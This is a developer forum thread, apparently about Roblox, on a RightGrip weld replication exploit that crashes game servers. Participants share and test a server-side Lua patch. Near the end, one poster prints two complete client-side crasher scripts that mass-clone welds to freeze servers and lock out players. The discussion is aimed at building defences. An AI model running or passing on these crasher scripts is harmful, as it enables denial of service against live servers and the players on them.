RightGrip Mass Replication Exploit Crashing Servers

I can have an old exploiting buddy from the times I used to exploit test it. If you want.

I tested this without the patch and I saw the memory spike by a ton, I enabled my patch and immediately gotten kicked for passing the max weld count.

EDIT: But in all fairness this is a bypass but you would need to take a long while for the server to crash considering that you would have to slow it enough that the server won’t be seeing more than 2 welds.

1 Like

Correct, since your patch just allows 2 welds to be there at the same time, you would have to do it one by one which is very slow and would lag the server in like 20 minutes later compared to just half a minute.

1 Like

OH I’ll do some testing, disable the weld max limit and even if the weld is parented to nil it would wrap a :Destroy on the weld object with a pcall or spawn which should indirectly clean up the weld spam.

EDIT: Well, it looks like once the weld reaches CoreGui there is no stopping it. Lets just hope that someone doesn’t abuse the information you provided about the bypass and wait for the update.

Personally, I only allow one weld to exist and filter out false positives through a strike based system (10 occurences = Kick) which works good enough since the false positive rate is quite low.

1 Like

@NachtHemd @GetGlobals
Every player can only see their own “copy” of the CoreGui service, much like with StarterGui or ReplicatedFirst. Parenting RightGrip to it shouldn’t cause it to replicate.

That’s what I thought at first, but the problem is that it does replicate. The only restricting factor is that the script doesn’t have the permission level to access CoreGui meaning that in a higher level of the server it will accept this replication. But even if what I’m saying is not true the testing I’ve done with the info Nacht provided will still cause the server to crash.

If you could add me on Discord so we can work on a new patch script? I would like a second pair of eyes on this to ensure that it’s a more solid fix. Globals#9393

Enjoy :smile:

local Players = game:GetService("Players")

-- Function to handle player joins
local function playerAdd(player)
	player.CharacterAdded:Connect(function(character)
		-- This holder will function as a server-side only container for welds.
		local holder = Instance.new("Camera")
		holder.Name = "_RightGripHolder"
		
		-- Wait for their character to be parented
		repeat
			character.AncestryChanged:Wait()
		until character:IsDescendantOf(workspace)
		
		-- Wait for their arm to load
		local arm
		repeat
			arm = character:FindFirstChild("RightHand") or character:FindFirstChild("Right Arm")
			if not arm then
				character.ChildAdded:Wait()
			end
		until arm
		holder.Parent = arm
		
		-- Cleanup
		character = nil
		
		arm.ChildAdded:Connect(function(child)
			if child.Name == "RightGrip" and child:IsA("Weld") then
				-- Temporarily store variables to properties
				local part0 = child.Part0
				local part1 = child.Part1
				local c0 = child.C0
				local c1 = child.C1
				
				-- This ensures the client "knows" it's connected
				-- Note: The "Active" property of this weld will actually be false no matter what.
				-- The prior weld is already active, thus this weld cannot take priority, and because I sync deletion, this weld never activates.
				-- This WILL be "Active" on the client, and only the client. This essentially allows you to show the client custom weld positions from the server if you choose.
				local clientWeld = Instance.new("Weld")
				clientWeld.Name = "_RightGrip_Client"
				clientWeld.C0 = c0
				clientWeld.C1 = c1
				clientWeld.Part0 = part0
				clientWeld.Part1 = part1
				clientWeld.Parent = arm
				
				-- Cleanup to avoid memory leaks
				part0 = nil
				part1 = nil
				c0 = nil
				c1 = nil
				
				-- Sync property changes
				local changeEvent = child.Changed:Connect(function(property)
					pcall(function()
						if property ~= "Name" and property ~= "Parent" then
							clientWeld[property] = child[property]
						end
					end)
				end)
				
				-- Parent the holder and weld as well as clear old welds (There can only be one :).)
				child.Name = "_RightGrip"
				-- Clear children before
				holder:ClearAllChildren()
				wait()
				-- And after to make sure duplicates can *never* exist
				holder:ClearAllChildren()
				child.Parent = holder
				
				-- Monitor ancestry changes
				local event
				event = child.AncestryChanged:Connect(function()
					pcall(function()
						-- Ensure that the weld is parented to the arm
						if child.Parent ~= arm then
							-- Delete the client weld
							clientWeld:Destroy()
							clientWeld = nil
							
							-- Disconnect our sync event
							changeEvent:Disconnect()
							changeEvent = nil
							child = nil
							
							-- Cleanup this event
							event:Disconnect()
							event = nil
						end
					end)
				end)
				
				local event
				event = arm.AncestryChanged:Connect(function()
					if not workspace:IsAncestorOf(arm) then
						-- Cleanup this event and the reference to arm
						event:Disconnect()
						event = nil
						arm = nil
					end
				end)
			end
		end)
	end)
	player = nil
end

-- Sometimes a for loop like below is sometimes necessary in studio since players load too fast (or if you are somehow using the Roblox client on the server machine)
for _, player in ipairs(Players:GetPlayers()) do
	spawn(function() -- Yeah I use spawn here cuz I like to see my errors ok. I know it's slow ok. Ok. Noob.
		playerAdd(player)
	end)
end
-- When a player joins we want to monitor welds.
Players.PlayerAdded:Connect(playerAdd)

Here’s my test place including my own test code if you’d like to see it working: Weld Fix - Roblox
Let me know if you find some way to get around this or found an issue of some kind! It should completely prevent replication of RightGrips to any location before they even replicate including CoreGui assuming it’s possible in the first place. It should prevent memory leaking, and it should be able to instantly block the weld exploit in it’s entirety, no if ands or buts hopefully.

@GetGlobals @NachtHemd This was based with your conversation in mind so I bet you’d be the best people to give a shot at breaking this.

2 Likes

I took one of the crashers and tested it out in a LocalScript. You need to get rid of the player to avoid this, simply deleting it will give the server a ghost effect. No one will move but you can move fine, and no one can join. The one I used works by cloning it and immediately moving the clone to Workspace. Nothing is added to their arm in the first place.

So did you test this to the point of crashing? Because the weld has to be added to a descendant of the character for it to replicate.

Yes, it crashed like instantly when I executed it and left like 10 seconds later.

By crash does your client say not responding or did the server list show up as "Slow Server’ etc,.

No one is moving and the clients are basically isolated. Anyone attempting to join will get a stuck loading screen and crash after 10 minutes. After a while, everyone is kicked for their internet connection.

Could you provide the script you used?

Here are the 2 variants of server crashers I used and both crashed.
First:

power = 100 -- adjust this for additional lag. PS: If you leave after 5 minutes with the script running, it'll crash the server anyway.
local run = game:GetService"RunService"
local localplayer = game:GetService"Players".LocalPlayer
local r15

if localplayer.Backpack:FindFirstChildOfClass"Tool" then
localplayer.Backpack:FindFirstChildOfClass"Tool".Parent = localplayer.Character
end

if localplayer.Character:FindFirstChild"UpperTorso" then
r15 = true
elseif localplayer.Character:FindFirstChild"Torso" then
r15 = false
end

if r15 then
for i = 1,power do
run.Stepped:Connect(function()
local clone = localplayer.Character["RightHand"].RightGrip:Clone()
clone.Parent = localplayer.Character["RightHand"]
wait()
clone.Parent = workspace
end)
end
else
for i = 1,power do
run.Stepped:Connect(function()
local clone = localplayer.Character["Right Arm"].RightGrip:Clone()
clone.Parent = localplayer.Character["Right Arm"]
wait()
clone.Parent = workspace
end)
end
end

Second:

--/* Locals
local LP = game:GetService('Players').LocalPlayer
if workspace:FindFirstChild(LP.Name) == nil then LP.CharacterAdded:Wait() end
local Char = workspace[LP.Name]
local Hat = Char['Humanoid']:GetAccessories()[1]
local Handle = Hat['Handle']

--/* Tool Setup
local Tool = Instance.new("Tool",LP.Backpack)
Tool.Grip = Tool.Grip * CFrame.new(0,-100,0)
Tool.Parent = Char
Handle.Parent = Tool

game:GetService('RunService').Stepped:Connect(function()
   for _,Part in next, Char:GetChildren() do
       if Part:IsA('BasePart') then
           Part.CanCollide = false
       end
   end
end)

local HPart; if Char:FindFirstChild('Right Arm') then
   HPart = 'Right Arm'
else
   HPart = 'RightHand'
end

--/* RightGrip Instance Crash
for _ = 1,60000 do
   local Grip = Char[HPart].RightGrip:Clone()
   Grip.Parent = Char.Humanoid['Status']
end

--/* Void Deletion
wait(1) local CPart = Instance.new('Part',workspace)
CPart.CanCollide = false
CPart.Transparency = 1 CPart.Anchored = true
CPart.CFrame = Char['Head'].CFrame
workspace.Camera.CameraSubject = CPart
warn('Shutdown Activated') Char['Humanoid'].Sit = true
local BV = Instance.new('BodyVelocity', Char['HumanoidRootPart'])
BV.MaxForce = Vector3.new(1e5,1e5,1e5)
BV.Velocity = Vector3.new(0,-1e5,0)
BV.P = 1e5

The one I used works by cloning it and immediately moving the clone to Workspace

Then this is completely false, you didn’t immediately move the weld object to workspace after cloning in the first one, you parented it to the RightArm and then to workspace.

The 2nd one, parenting RightGrip to any descendant of the character will force it to replicate. My patch would catch both of these in a instant before it has enough time to crash the server.

I was replying to Hexcede’s fix, not your’s. I was simply letting him know that you need to remove the player and that his fix wouldn’t catch one of the scripts.

Ah, sorry for the misunderstanding I’m doing multiple things at once atm.

The script your provided behaves exactly like my test code. The welds only show up on the client, however on the server the welds are impossible to be parented by the client ever since I rename them before anything is replicated. It sounds like you hadn’t tested my code? I’m not sure because I couldn’t find a way to get around my code.